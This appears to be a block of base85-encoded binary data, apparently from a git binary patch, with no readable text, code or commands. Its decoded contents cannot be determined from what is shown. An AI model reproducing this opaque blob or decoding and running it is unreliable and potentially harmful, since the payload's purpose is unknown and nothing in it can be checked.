zn=Amk7O)>j?Xz|rS}hQZmPeX)tC~V~)IL=N<aJ3n#mkWqL9pN{s$(?uB<1l0H`T^4 z^QR%k^+Z@cEHC-UGe7YlUc8+lnSGn}7eFtQUe{2T4OqTl{Isf}sxEt`!yl9#ld=Y^ z3lGdM@+A*S^Tc7kbEzw?qPc!<cs^w^aI_4<)q(fiMwfmd@l9!4I;nufIiOeb_b_ul z0f~D5#l(!Q<R7jF1m2yi&%bG5N_ML8x0;jqeeNpb4mD(d_S%)!l7u9uq-`zZs*qG` z;6=MkHh#q9^KIC#oINyZX|}3*EZsH;1UL;--XxZ#A3Yv8RxW|ro_Z9(U3sGtDfR#* zTnFReAP^)~i*C($SN&RZ%sruwbc3q~StQ;k3P}Bu_cY?;m{HV%<7%!l-vN$vJEOH= z2%H_!BFSNsonj;TC-?6Ojrx#hFrRZSm-6Ju9+1Ydc;_@X=76tQ!ZqQU9Sua~GlR4s z|BkE&mciAMSz&eR1`m$`e%KtYm}co52qcQsfgysP;Fo~Nc{fQy%;19hFY&wPg7$V@ z`@QokL1*&(8=yH?3?JdAwqkLsu5dIZPz?P6jXpn;`9<na#+3-7>0-2*nGPUtaw~e= zm5Q$PU1(vVjQ=Wie+#iaU6Ht!Gy_*TW1v^LiuEFQ<xkqVPDaAR+%z24Z_|^6FheUR zjhjB-n0UktJ-8B{2}4-wSjaks$e2+#kzzRRDIoYt49Gai9M^eun?nQ2)BLl_;`ceQ zbUqR^dSbH-DAYb8MbCsq`k^;4$&!XP0#ZCw(N7~B0p+}B;85;&Ov0mQv48(u$@0wg z$BC~sw<OL2V|bs-N8ggC;b&~ijEkfwmSkuoF&S7Q-1GxNSCWCeq_R}v$d+)-J3e*_ zrTolc$E2(lws;5dsDzev5fJah#SeG9mL^T9e#3qbP&c#QMasF2fqjKgkTcb={ioc- z8}A?DE0-N~c-+AiKdY0&LT&rK`pU}?$G{$HA6{MaML4xfNOg+w5@bT#o=DYA!!A1s zwnN$Oo2zW2Q>DBiupSngPDltq=rb|o8Ktd#o+zYE5dG-lz+VDP!gU}p(4aa+>yd~0 zlOcK#yO<|S5Q$BxmtMBrpDFWpK2vqO<`J*dUd3YW99XM7d`~k{J7PdLwHcO((LF~e zs>E@0f-XygI8+W;11nLhWTqfw@J{aMtU-LmO$;a&<qW2j&~O^|;%UieR#-C_9OD}a zaZd<~*;c|;{hZ_pQ^}{V{3~5cQW+gS1~2oR<WZJ#@!pfWU>&igU03vocYP8e^Vm8p zCj4g}{p7HXcJZnjYnCHVXC49(mJc$aTPF@tzl&1(Q~O+AfrvX#^-gJp%~nVB;%fra z{IsDOd3bobmD7w?Nmuv2v0Q9W)YOabP-Q4h($1<adMOSLx0fEe1oW?M6ojK|6{%e9 z=?}-5NMTSK7Ut%h$}Q>lsz)E)#&Tie{RaiY{Lt%wdZJ!9(2&89&JZ7aG6KN?=A?GL z)pQ|LUeKND@=h(f43<K9ktsu!=6Y%M_2D`P!Mpn|qNcJLZ?8OF09>(fRo%6{&JPz3 zIKrOgK!uvs=<X(e4FvRc_Fo>KJZ?69vgL;P3+ywq$S1&VtrG(%80;gk5u3$cewIZ8 zQ|{K+DL!%UB<|02`j{6&MzTXS-)j+8>^@#CJ}^a`luOWesk4Ev;#Zc=$guK-3i=%W znChI{2^ExLER3C!{#;pr2x&3z7E2~H2+D!4@k7d_{Yf>;q=Q3-pf%#!D!=eJwl!6} zhI%T^ZeoJYDNd&c{Sn@#EewR<j#79~x$zaO>M3tCLwBK}KZw8D#%(D<k5?1SbT|>g z`H2I}?&^E4$!EY+rt`atKJ?l?4^@=zgtSJ#F#TkHajzL<F-67X(}4*}8VhEb9vn9) zsdO+^iGF-mrCT9-+wVOYYy@8sjZVK0J;CTX))Su&l|`8AV87aNpULj$KlI9#GHnhw zMiVAOicOJ2kIz?!J5tu@$(LcdNP{wsplSyo_UPRfAFQyGFhlZ!m~4)b6`lKy_32iL zLlw-uZUCu1NanVfr!sMZ{z?QxGjjM)osn<EF>jbVanEowcL$ZqCP6eI#9nyKJu-7_ z-Q@|IW|GCgTNO(*E1@0dwxt8p$g-SE??pfAqDEcEuG``6rTeYs`W?7s!I5{yH2!Fl zoy2Q!FH&rjdOeXX2aiRig_56o>+B~eg;f5;=-Q#!(_*ykgR;HApTmFhxWk!{5sRQi z5C@u>kC)bF+6pFgU^zy_#0pn+2NTe2k}c8<AT|D$2jtVlRG7q5*qF<<<Flqg@RFH_ z$dP+*q;*PJUxhK%GoO&T-N0<Ee3K>eswQlA9nrS!_D&ZC+9!j|6FV}#8>?-MgXVx> zRgy{6#=`Y;0+?6YYwD&=KR9F@i+yO>w1B-JrScdW9&H!P&YnE2P~<UM`}N}cjKy^u z=ab;MSfF}w-g9hBG#Z$=Wdh<S<E}H;DG&d>84L)PCqA~h`CAqY{fP&0wGMG4Ul+)m zm$I_3U2~uIl+bZ~1sD<lCCWubIG5R+Z+v@V<rFULt<1tlwJA+tz(QgS=>;l=t8AvC z4W6iEMsq>RVIrF%cpG;#zvP;<o^-|6<kL~{7+1i<A{q2KWWmu2gmoD{J$xSPFY?8( zkwx^ig0w48MXiseTFO{WZb?TW5Vq+YfC>bN{!#AQA%ienLxKfiR$jI*YVJZG<J^KT zfe0zyE2oyQT)vbwaz%Yxoof+1naBQlh=dfJEWpCR5*o%4as1O?n<&I%SdcS1UJnBM zNQG{cq$CzWHEUO@q3HwIL`I;Ot6CA*&5=e~E~>>iqYs^O`lbjBLdrYVO2>3=%NIJ5 zTozzeES$<{fuvQzRZ*W#*VXeKs`+S{RvIG386x&UaGwekMlU)q^+@MP?Q<f2ns(>9 zl|g>yK)h)4J};=L1zPGt77DF~T2y-^Gy36?({;9%Ue^h@nrRDD&MKj^g3x!(f_wqq z1`I!26SA{#L*-S`i2K6yq)ZzSl}<(!O_m8xLqU_rV~wx|>6IqMN`;{^*@5gBhKE5h zi9f;;@{$MO%HHM-3JgIE`{ilo-^x1^IsM1w32DxF+NZ~=b)1kIefOaWm^ed>8k^OI zk98~Dl|-rK-tLv&<Y3h}qK|Mc^BYP<yCgyBQv5&&U-{hBS;DQ^<sCIiZI<4_cOZCk z@kGLj)M0Hr;DnFLpL#5c#h#@@0)s#f<-}wVlJHRNQZGByDSNZ;z+=W%TfZe9e6A{+ z2IWxz=T^Z3jlk+>wk+ii?iF9Qzr~{|#e?y;gCWUJRT6o|R&Z5L4#YyOggU72fDeN0 zFMjfCa%J`ws8e~0M&1+z6JIrmbb-YOgta8Xq6*9QNIu(g@Tdk)8y|$Dgiww!@dN3_ zgwbm=1vx<_18RRqBvK&$aIV1D(j)_bjE~z*VILuW#<Z)UnhNRLUNO#5Q!6*5&Ldvj zV-|Jbr((J(I~snPQS`x7V@==^r4(B+Su&{BRU1(F*1ikt=V*EoymMcnn)qh};^B>j z?+1jN6^-P`hJC{_1^e$oFs>3%<cFs{Rx4RqrLyF2i<O)=w@BXge}&3~WH&p#YUy4Q z>d#Ss=_Hi(`SXQdMrboszSQD`@?l(&kX4S2>oCUUwnmVPnTD`C+-=xx+H?PQYwBbE z$6KtOtZ1EVHV<OOi<1(Hr1A9oI4_yZ6+@RO3GiyRl%ccwwwgNsT)dtH?eSx9v0)58 z5%PF1eodptkQb-pqaK4@Wz(iBq)Pg1*ax*Oyg$z@Ad@tn$MnZgA31(QrqIsjg-5|U zm(NM|SG4A+96fUe>!2-9b6V18=mInnD$^-#Q;9SeN3rfC6UGx!=L<DkROTT}7AXYC zYZ84sg~q&fX~fAdOz(R?h)F%7*-i+4z0%3NF&pDhcXKNMLx?(%W^i!#5|A~^7f?Or z-dF2{v=`(kRs{x93#6#%#SQ@CaQ_fy@K#kk;=pt`kJE#q$J>6u)bLbWfect=IkMb$ zSllae)p4YJGgS_W?3auiEEn86H2GvP>ZjBm_-t6UMn3p>oH!QQ7fAD*Zvzbphx*pv z$igIYRMYsw9al3i@FXHF@v7LHQ{3S;;nzZ{4axtkQoi@Z$LA6M(6HxK+8vf=Kcm?0 z&N0Mogr`CVeFBg^Gc!&sXk_9s(EvufOw-E!YjLgL85v{|==loSkoCX;Z_r0lF_u12 z*}RkpbCrGRn0Rw;_Zm^GCyao8=gp2P7n}Pk+r}_NG`|>jz=-2k&X61<NeOqYRH1E0 zfOg=D*lW=@q)gB#-?ieZ9L&(YERMPKKA4gVYnmkI=+kdu^+(j#KDzXcnA4uYPQ!k( zK=R_hR}5BSW>fJ6g(;*&i@EnPCeaOYAw*??)KRuz^cK#Jd!}y7VdP`h+7J<ooA81U z=uBFZ>%>%ipa*m`M`!}#VqeUOiVEA*OB~Wzif5HdpgByWfo;>UgjBmW6KR~Jwy9#a zSH6i6dGvz#9jTLgelzJ$Aen-3Th|+EOAB(a8lj4vZr`r4>%I!vt)_WxT6*#lBUENo zU?u#vrnF@lPvGwL%_MMdFGvx+`6+QEKv!$}+*T27Q6yHXxHG~K`=j?Ra*i;A1gzqU zUmyC)lbXBS3CaWI4-!vB4V>OxdivBMl4Xr%V~fBf`?PBa#}e?W;jaWbSloVN)3qi` z4QRs@6nA(U#5%hAuC!!R>y}u&uK=e-jE#*wj>2z7I6NI2ZCs;`M4oIKj;Kgh8e-K^ zQCW>2s|y;mO_tYS?DBxpMYjdT&$;;0eA&|djhN%<Y4DR<cRs4^d}xS-ml~1({pNe! z<@TGRoUd=ulO$N&Xd^wbv=fNTlYx*dw2uLLU41A?VG1l_49zg~hSD1%pd>su+m4|T zKWHkZg8yE{{XH{l56(!yB#mWo(Hn9L@*;~{DVbY-za>fMa82m3RaR*3H6;s9vJ4h9 zwAx3^K_4-Oxu=N35Pdd1R25p#?@$rUyVq%Sl+IXJ(ua|_niz+sdXk)G-F4Q=QrjB$ z7c7a{Ud4=Grn_7;U$x%ItW1Dk+f2gdrF6N@KU5h`l?2^3n}RU!XA|I)fD&h&U19ZY z_o$qvGp~3G0rr;2BdB<%(5a1j4RwXY@+Zg{%|;;vzD6E}a6vrHj}M{}NSu#A-dfBE z-IOC^-eo3tih`<QvcX|}<N@m88u{@cWI@60HG%4MWO8qQ%K3pCQa=zrM%&APb-%cF zf;X&SaD(!IV5}qI*G%6bBDOPEHB}faQ35S{a^d*kRyvv-hpOCR$Pc*vUP-6uE&L>X ziU!-6gj6LIL@Fu;kun#DsV3R1DG;ttKm5F&2uh8Zb;jg=wPo>Y(QwJ+K&D1j*X-^g z-jmV#oW6aWv}YK8po7wLAG${?E9Ryd=k`R*FG&hx5IK9?lQZd(*bM!Yr2uWL<_o~+ zeCi~Orlld9Qo+J5Q~F?3lj|-ZR2U53RY5y@w^Qa~C^0(dKyQo-=^vO9_O3f6H8V!P zo9$H6o#kboP=U=4p6YZ-O0IaC$J`?At9wJg$^PJZOt?{|XCQyW!HTkJG8X<$p=E4d zuJ0VpI<X&jpr&yj=ILXyc;=1uBJE<3$RaIRmr6B@PU4$_=9t>5?uy!xZe^dupAq); zggl8cu`}4ZeE6!#UsAWecvxAd_(oxhmtYtUn%XO&!$a?H%r51G0By>qA>fOJrxWAX zp|i(;`4`zh|1OR&y2dr}OwnbbkffA$gxK2b<eTqDi^MbP8lB^oGxWxDZomX?PMyaP z9Z2VnT6TWar9Km4wyv&NPjjup&WKH}J^ryCvpD=_w72Zt#pa9<jiQG3W<$qkt|TJv zBegdR8WIfvvzO=`RdRpVHE0;2?Dy5roqBGcs<llP&#2F)7sTs<6Y{xxTMPJJ>A9sv zxX!?+!NYCJCA(<!OF;WFUwg9f%>E5ow*OMs1Z?A#>!skQF69xcqVuDlwi4bhv_@r; z21V^wX3j#iWO18spXf)If?2q|-lF)5LV_DAHdfykH=*+FWPEM=yLRFVN~@f>s7Dv; z=)s4s=;F#{UaVu2t6hm~z>E0XFRsDn%G6)PcbPxD!R+&d=5*-pUO^2Vv$JJmW6;Q| zU4B}8&QLyKA1_@~uJEE<vBOZ#I5ItpQAAL$MY_Ifx;(CuAwN|wRZqc?doK4@GcsS! z@B_flYj19rk{rqGGn_W$HSC1a<8&xI&0g!0Ck3Zh!flf!aa{X(sp*Ln0vH1>K`WRf zR312ljJ3kK$YU@DHq`V`eQ+V`0-_pW(;$5)a8rIyF66cuvB-=>v6bdmR`-OB#6A}y zE{8hfPEIW6N7I)G6NZ^Mr3C~poNX~T@_-ukAS_<NpM^n>0fM|HF@i3ST4W_nip0Pd z<K)6^Pd9AUPvaqEB>Hq8ueDmyef~EKV1C{hOXVi*G4tWT`h=U_p9+#ij;#%NUp5?# zRKyC>4Dy|`9F`kHkMNb*+f|tO;Dn1#g@y6li!3d5D|d<zB5`;1HTYf)7rw#|SL=Wx z-XY>z)o{YDm4tGOhp&$6%V6o<_%`x$k6cl4stah)KsAlX?kXu)XAq)gZAj)!-d}?g zDh+#pr#{^l!cjd=6!u}A=ziB>T)Il^?7pcOLe+G#3J;G5`42_6RJbPyXtQmQg*VWL zRJ{w!@qVPY)AJh5t2)Ku2HG%lJ`<NG11GezV>h^hdFXcy6b`8Im0uF`bse{I0eKAu zl*|~lL*u;2VC$`PMiN%Q?1wHH&``vBa_~U(6@v3<;4v}3UHvqe787AvW%=!STwDj& z1FIZbNe%Y-gf3I0^oSv6k_%g}5G=$Jnz|#=V7rs)1qu0KnATs?SS;lw6Bn)mJf?$R zBhEQcKZz6fH&SNxg`Wpgt6<on2dw*AbUyivtS7bo=xfDm6DMyU6THKuz2PXvFt?h# zk0?aNXf5IU%&)cc@|{e_uIc>cRlR%^bPaXYOSG7|X5l%J+2J`=#3*7OLSSk_`k_@t z6Z)ghz(n=DPX%0LxwcbFe+T9FrJzN7#Iq;(0J`)N9jB+TG*9OxGx*>+m(-uP4{%SK zTIN!#8-8{?<}-LGR+yRU%pb6I_-iFN@fzmbeORb$`%=)%_D1n_NpBa`%jJ3+i-%b~ zw~-gSdqOqs4<nmug>c{NRXX{^Se+zJq>IJvQH_Q71f*kv@BPLpEjZl#8{yxFZ8twV z_`$<^gPsg~xIi~p1`QZIj(=^PJ{v#K_2XlY0aKHMYWMp2j!(V6#2x_N*#6dTEtJ1A zU&!y&FZ1HgHveK}4=`2L;fnkUQ4BhGIMBE%N!WL?Kj`se-r5GUl)>0Aqm#`l4WHvC ze!i^SJE0L9u4#A6eDtMhv~7N`oo`cJ#eF~V$fMmC{elb8=XZW%`i{nyf-hy<1T07B zRi5J09qzA@&RF$Jye;9fb~1T+(|}KvSgA=4T+LW&lkH9fE_Ba(MDZv>LJuWIN}4|| zLYu2FMS4-JYy2pWS&Jn3mqq$`PG55Rc(Gm~#dkkmWQ;^^vos67VgO<4qt8x!MzE12 zwU!HZ5dRD@u?h|H4{MKtdgX7V9$*mN&IL@9yg^jkBXXy@%tor!KdZ$XFVN5Na_i#T zd>%@SlNpW7r};JV#hEucS{?8=KR-;KO&ZKBc+^L``!0s$s5*#+%uU<fQSaUje<ORe zbb*fP#)upuh$Uz+aEZA{7B9T>O2SxZBDXop_=8Ty_c!Wfi>>uXH-AQ8nBP8FJCbJ| zc#r2davgY&6S+3^b;s7>%p1FZ3xJe3&lBml<-D*=AA?WLx0dg+D&aDPISxak=<W0} zhi@-F$702(sqH!hjgI3cnX^dYsLh>#<^$Z$ctQ0_lf{s+MRF~$%!|%gM!_gEnZ=8Y zITd&A#Ps2I;wT0!cW#V{AT)l@*B8fP$(A!dJTo)waeSVVMy+Uh`|YbXy?%Zpi|e_7 z`uxpnea1uD*PnLOWo&!y6d8quhwD_MTKEsmG`22y68$axk5P_ys{I}v-eFngVVicg zj(8QKEQ{xSNx}L$1<VC?RQjIL+Op;Hx%H9fKC}5`;jm^fF7S^qOi@Vhr>kSpbZh5G zM7AXvI8U7zv_+|@@#UlkgIkNqNNJ+pS}|Gdyz4Q>>{0f-$;!6)Q@f?I4vRo|Bdw6Y zc2G{Kl5j0WFWs{3lSbz81{^sa#!&O4?W+ab7^t8Et-}U!s4BaCqIqQ9@(57x)Kkc^ z#UvMH<fYD|JKmm@-|c*`ruh3ob%D9XlQ;vP=-H!uk6~tojGbH|k&eJ<<A*Ar#T{b0 zoh%0VcgL|j&YhQe5lq%Gc~yA1KB|e(8;=>^QN`}ZmQHFF0R*@cZTm-+IMU4NpUoE? zUYUcLg)ak7M=!GtlfxM-W8D7?Z};eMsU$blcP7tj{xLe!eQNx$Op0$-XFua2y8YJZ zi-4d7zVNai4_qBilsY%Y_hY_X4o3}&`FC4$pho9Ax)0*ZV$19SH3t_ha$b?`sIXe> zB|xFU-V^WVW$lfvvU@S>+;F!N8zS!bex*UIAJBYRtj*X2SvE^T5f5{@=K1(7w{-|j zbaj!aCr4E#DlhQW(dRVvuLet>$)~<>Vfc09j>GHM^?x<QLw_yLJ9KByhlE-DMICG~ zgq(Lt(!BPgUQrCh$K6<e^CivZi0T$o)T0Q=ylg^BKJJyTQ!DlC&zlUw-0$!&AZQX% zDwX?YHvWg+c=U(*3X%0>GDoWpTh^b=k(R5;)*b^Xe$f}(UQ$ty@4`PER10%=Xzgo| zOK>H?t#uezWPCrc<+2oI%T^e|#M9^L<~P{9q=dGAaZoQ25&v;T*E`rcE}p%O$twVx zk+z@G{0l@tnM^<hN#ZX`p|h{Ju{nG-+fCM9Z88AYK*b{2J|3feY@RkU)KzFFv6qUq zeJy)zW4SKi+mKpW;}0uS^iQEKXCXa5=9HizZ$cl+Fi>d$SYyu!RV%?56}^#1c3YP_ zcL-J~7mQXKKg#)k&}95^!C1btL+Uyk+EJTrr0~2csF>q?sUaGa?PK`<t^35=rQttm zYAhh%kSWd3(3V?fBTbDhwBH)q&>;>bLmU3F5X%wG>|8RoS++WD^bdvK^V9>TCQNpB zBRz>s29EE1oV57Ts_2`8B7A<X-?iPqmbB;c(e?iPhxw+W248-o<E3WXSH`p7DQ?_> zxu`YI8pZoA)cV-Wv)R@<6+RRe_Eh7r;-fC+#u0)BcyJbbb0WxJU%%NIX0hFhh)%rA zAZYQn;XZ%{dF{b@b1j{Z#$OvcM?vP@X$ZS=l*toi5M&zOjrxa3Bz|AJd=kd3t^hy% z(k}BwHl$-Jj`4W5Mlr;fIjO0YcjdW>c=+Fu+>mwi+NZJ0+{*2t`N^tn52`-3NeB<O z_J(dZmvnvG**p}hO|wpKsAO;XEtmgtPML9csjKaQAE3io&U|>&e3I{dmyxgKAGz;j z&(D}z=DUM5d=_eVDH3H9!>kX@s$1-;$}9_>u@AHFG??0iy~qiVub12Y7?}EoFjwbq zOtkyk-jIlyIWa0rH{vkHLj;LFLZj9g5O(FmjB+`Rt(Pj>+3tZnFy--{B!@enzQC6@ z#U1?iZ~37&4{VkY%vI;NAMVsf$iAmv9^MSa)@234tt(TW0phLe3q02-T?%cAY-E-h z*kSM@5r7Q+%zm5fvdD@oSV=3FfQ<NC_isZI4Vqu{b;_<`uo`g=cY26Wre+m+;BAV! z*{E+yD{Zp|658^AkkcCfOQv;0k?4)g7qf>9$z912oaMxzYdZ}_At9s#qt>@)4b1#j zmivDoQ}Q0oK1-oiHldpn0mlD)uXHfXSm`=(mIm0D-q5bM|Bt=5@QSK?--pEj)R7RS zyOHh=rKLoWPHB*4=oBQROF&AxQ$QL7VdxHNlo^Ib>E_*|&+~h}pa0=qYZl8j!a4iw zz0ba{yRK_pX_7IZShIp2`GDLq<90;U(?Im^v8|;~@YoF{#b2cIl_>@=q}>g)fOnm} zE}Df!C(}MS+%CTOT^A$HS@qGV-V%L%v^M-(vFZ)nAs&fHEal0!1n5#^hn1E5ccSmH zU(lGc;5b3Zzb`dYod33Cth$>%c#tro97*5N@{4QoMTIiK0&|=?Yj58woYR!*&Ha_T zCim~0G*bm`Jz@n6vr7{ERmjYu;iWBU;|h82N%w^ct`YZ~N7$l%mD}1y9uT}SA?c7C z=p8^M$m08FH)?lbyT)~TVb=Hj-9NjQza>~gaH6~s0y4@aKcs_+h=^P-a!DvhYeNeD zt5gcG#}D8Vy|bBG_A$w~obtt}%GaM{7^Iwi=m)~P&Ev}HsCt0y3+STtP)LrsAW8bM zj8Sqhj$jn;H{Fh^U_xTTm@f;isfuGJ+#X?s(*g?{-6ZxkIlK)j2Caf)u{n%Xi%qzY z%#P!sMBkr>|B;Ocybq8_@sM~TbEtPub~#n{hRWmfSj@l`eZq_G)ZpnrQGU|EUfd2s zyyGQ5zo!DE=(h^SaXucNZC1?Pzt2g|LI2D1cPfF8W4X8oh1V7*w|XI`hadxaU`W#9 zI|2ve`Q^te(k6fc=Kqm(fV#eB6f1r+?(yD`{B4eB0wT+(Zekj=iU(eAC`E{xao!W$ zeQ407a6bFR-roLWS7p1v>3HUqDNG_{g{wCNts~XzNBC1t-wSs(T><<o?ft{Ngw6wL zlRv$@+pWz!G5lEju0|(KXs;bk#s90kdNBkn5R(={kAQs$w{Qg0VIBea5eKv=Ntt<h zCl|e=`GZ<02p{3t%K=g;zc;&%GldM%Kd6lHgpGBM=bfWle)FXj%ZP~)3V83Y{xrP! zNpM7OVi3{b{`++bzkLP(Ib<N6;Gyy>2&5YSyX`L}%4MA%{(#0Lk0B}vxku>e?3X_S z(b|2nn+djNFwgk}IKv}1(h`D=JC@R(cN^c<{bHAR7mvOticI+4m`P|1`r?n&W;oTv zJ#s?2ExZ%~$87S$=7ByjByl_Q)_+V)kI~VvzZP>S{dk*JhH3Ps=FQC5qian=pUH?j zkb6h2H6w0gJhrnFd=a1dX{DDYJGveBD$&yMY6P;~K(@Ks=<7{XOVXABsDRr3uD|FS zT@{dp#vVZe=+9z62fjR@g@J$2wTlImdW+9$#ts>g%T|KAzmGisdsvAs8Bl`venE_F zLEHaE>hLwv?+Vt8Pv!Dn2@aSV>o`hK4Tg|t!2i-y;d{soYIMSh2vEJd9-IQtKgN`T zQmNT|sB+g^>~jI2NQ33$>=Q-A`Rl9KGe-P#VZe52elF{eGmNqR_Lw#;3X0#p`Re~w zwvh&KLjt(Z2p0iI*la&WDvwp^bIsnIUiScF5FF?Tf9SR~Z>IFUUbR!r?m6|zz9Et! zE{BT0S)?+h+>U{sK8=fg7)SKx<4eNDHJg`wOf&E+kQ$m<#6C*EDLy<|iJtS4>dTix z>gZrfd6s-fuKd4(xU>hDX;tJnuU89(lIemH^q>gDOBG4w=g-f1#IE|8#&e-1k3{J# z1FHmI-MTGJrL@2I@~Hu14{k|#63gc==}l-a$3Fb_&I`DarQK|DyW(yJfyk2}sNgHb z+a11?-3h<Go?udR?9USxCEFrj{xjQBA?-vq{#*043NJPD`*729HOuw%jr@ZicXEW~ zINbS3jK}|;a4D!*LiS+y)>$^cJMYV3j10(0Oz>{UdMEE5`jxh}AeYJN8_{RAA>D9> z=V`&cHKY7l3^L7=BJ8^yY4`VHu6uC%Vol7{#aLCaF49N?IxroY*+JbwUx`|m^o?D0 z!h*L6U%wm8{~%w%HPIw&dnWWBA=l8O+fg=1i}&B2FratzO}u(pU`J*($t8`?s{N$J z>u|!2>07_2Xtm2+9i*s~N*e>)bmOiBZ=U42YyJVdR=w6f`Kw*2I?~CoX6?`UV|wC* zHxdsi=sh8C`_A~=xVb-@z9Sa&I^I_6DvQgv%_j*Y+3a7M+E|zNqT6-I;IV#T$bZc@ zO?Zx|e%V?7`n3tIrpY!_{4P#KoB6g7DlC*+VOY^xW3}+|aTrat`u@{q#huE&i3Ssl z1qnS^IXE^Xtf-f}Wv#Nc&zc38SjXxygE5u}DR9s++d9K6jL~ur@*Jc7eaR(es2pU7 zDN|BXs!e<E@d`C6*t~)l45#JoKG&*9b(-tl;N4U#+Fh(IdG~bCuyT}sYbaf)uXM(F z%XWegmsFvV&$cCk*dvUX;FP2AE_I1U32s(N_+To3{ONuC-o_f9{c<>bwZ~kPuQrRA z)a!VM`_2tPdYiQ=OwoYQL5lq4q747ycHBZWive}XoW#C5Rdef^2kyW1@^ZLLrrzww z@VwD7^c#N2M=@RgYWyh6fo1b?QZ(1C!mW=Bf~c}0>1ULL6f9bg5HpzFa`2XpjG4Fz z4DxsemAb09i-b<JJERWnzXwOhs17Mr(uH1~9jwz>37K=@J7GSH5!Mlt&NFdD_iZj6 z|A)P7c}rqBA_DduaDu*>P^t4Itg}<njBJY=P%}a68|<B=k;lum7`EebAGu*QpBqa| zzE7(uNy7End7yG_`pXx{*3xh@R>?#vE>U7f@M`nC$ijREo%8BYV%_#EW9Ai?rG%eV zmVK^y7bjEE$6#%`LX7;n4{b_(B@q2ampC0E$CcByk@B)K_0>Y$j`xW9)BCil<Jh3J zRs8Z=-0K+4PFoe>*CrI}to)2$@cED`5Cg~I%*NbUI*GaqQ?-CZ2;}1u-K8dMk2Sh| z2Mr@4S;A@PEj&$4GQ`dAeNl$wT;!MihA)1HBFIH&*Fv2`{aUxOS0&cF)pEz`xe68a z*?p!P9~g%|q}po;$WKFK(~*sP@y{r4uVUS_eU6++i)K=Fp!gY4bKI}Eo*eMT`3mH< zC(n{sQT(%qs)Mo=J}!bkg7EqPi4Io`%LXU9OX~%KJqZAT&wBF<{Gg_;LtZr%&4MfO zmT2Q_xB%+f;1i4$@RR^;RNK(EYtjr=KBCf2JSX^=8LHgP`ejjrd?Op9v$5#qefH`X z+BIIoZx7<wW*xPWX%ilk3%h1X+Knvr?KclUOC9rVfFaZ<7RriU!$Q-Co%O%1gfV13 zDJiXa?KAw=jg>_ezXA*Pc;V-sS)=ss{s6x{)IjRlYPv-RS83`ILLUoqH+%$PqLawQ z_uc67j7u<&rLALcf#y{O>k3S%P$p<CWV9u*@mNg2V!j^P=q+<7msmlCb5k<We_g%& zd~vN?Vq?P{7lLd;DyldcHfNJSJo<GPU)C+S&Ji~po`b`<qV3D9b;(Ak`}Yv91h?@T zD?@afX43IXm4ptHZ0TpDIbwTPb4ynmyO}89;&bx#;ew<PoNlbi-R=7ECA5@QoE@1E zvKD^%1*&F^qDGv!Xc2~a*+0CSLau~N!@&%|S!2H$IE2=)dxg<AxUgdDw&-}?=o=_m z-Mvxrf#T|<#!hF7w-(RuS3pQ(Y<*KxR9S*eMN<~>5lz!jBS~C|S`Gd#<O&GCH+wO3 z1e&GW6+b;@`8lioGV+36F>ORzb(K}YZKw~SX`s)ywyM7V2zrnfm)cm^+f8Eof<DTv zlu46bKjj^7>FTLF5=VZ8A)-PJL-F*?hGG8+v#vc?sql4v<CW<|Aubf{B8ZKm_f-G) zp&CD21v98UhJGZQ0-Y_Nw;{;^U5Yb*8cmg6wtJ#Tvvn`=@aju9u}y+Wv}m0JvA_*# z9KgtDC~8-b?)s!@yH2--;Od}2oRvV|MfI|rJYPO`{VN7V>5{ZGN_zDyPH_%PVA=l( z64VwO7*<-nfZgZgUvys)GIE}^DwyoKD;t#4LDdM@UTxG-)f%tdhJ8z$PY3PUOu8dd zG}HyfP#g8xr(sNp5C;5cZkI8fz0PvR=<={Jw$g69>pK5%TK9|cJDpMzy7Axou82ga z)L_rNtFHYdG?b<>MW^%qzOZnc?x!nLZMz1uCVuIPml-?RkHewL@~IXg)w*&!gJW}V z8a()YHui)%jui>4w5z<HeYk_{hvvBYHEl<6+4FDITN2o&w59IRMG}2>YFMxE+ZNjR zVb+;czO=1d8nM-?OX;^raizu92(R{>|7A?mC$r#7c1<15_EN?*DwHStyiH5<3m_3i z4Akp{T-*)7ArwFhZc+)q3Aq?RM!O6@v`StSNnplS%m2vj3~>82W4BX3t0oPVrt9&` zXvZV06npO#l7+^m$v(*iHB3PQAWf`9B<ksMOxv+p0?FmN6E0Z;Dq`@*8%r5xik$W4 z!&QXVbI+<3Rm@iONIl@Oh)|lSHT3B6ConR%`P>V;jj5lGI`D18$9|Vhq_>-)^1T4m z7ACy7jh=q1dSFZ;G2Qk1)tw;>-ZxXCS5s>FfY{Mq|HL<}`Xxazh44{IHCQsug0JfD z%0o)SJBUs@g&8{3Dx32>-I17EmD^L$+4w_}&PFV4ShL3QLJwRLTYOCLAx-0oX6f$f zcjKnACab&AQ$r3R+jS-P$1{_RSBTd+s*xhFbq<ukFWa?kpXl+Trm$7iFqghdmkzd# zD!#5u)odKTuIXs?B_Ev7#kyz@iQ2q1xXG#*rk-R;^m%&^f*dF>_{}x|AF|}>nyk1^ zfsjX7o?CY^mYL3a?X-dJkm&LJ25Ego%k|}M#j%!hNNDH<t<x!+bu*|Jnr1TCI|Izm zhKncN{8JZFf&#RABFHr7jh}9(DZWrpmNd;&5+!)?tFzyA!Dq_DRPp~zTi)iny4rIE z)>=~^?=tBaAsO7z#au(44p`W-)<OQA#)d(Be+6c!jhK$p1#wBml&|uc`01%Fj4S=~ z%J|Fvar^N~Z_n{URhoVwn+idz_~Ve$FFUjGzDNb|j3W#jIm+K69zJ|J189?hAokYF z=|K07iHsrJ+4xuCa>*NX4_`kBuB9j`Z?x8*&hp+AlX{uEcy`iywox)28p@=<S7{#9 zN%Q=*P!f~o)Vm&)327a#ZRBoX20f$T)TIE^pZCnj5{J;q%|$hmF3Ed!x5h+gLV;ha zBAk!q%<a6I3iT`KG-#^927!K_8<fw#E-$?fXD$9r8D}io-FCIvHdUmO-GCBSgi1+0 z<y#|n-1$nJuc=*W=b6ByzFpPc!WB~?EiFKOpS{^3()Uf<<q=e$4EA~fI$ee}JY$im zzpq{F)ed9*GXIjGur1f?IF3mREQ@{m5yBfu`%VHgNCFdLcT;i*jc9xjFXKBab*6~N z=qD>3q0hO0PGF3i+32L0-RB32><`nyuE;&ku<RQrS^O33^xZh*RnGONK&)c5a>aD& zoV7i`;-g1H0D2Fe>X#0o;o{<EQHFb-oD6wb#l|Y}&E$fLaWO<NiCy7Z+2owdxKfE^ zHE1oFhBD%}#edCqbBfs6L1uh|E_xs*FAR<wrzb5H#Mjukz!<?tQ9J-Q#Kr1NWw(tR z`c{pUDz%h*OT3q6^x&Zpq3G{#cu=g<gVosmXGY36M!DfQmYw55T|FN8Jc9O~X-SJ` 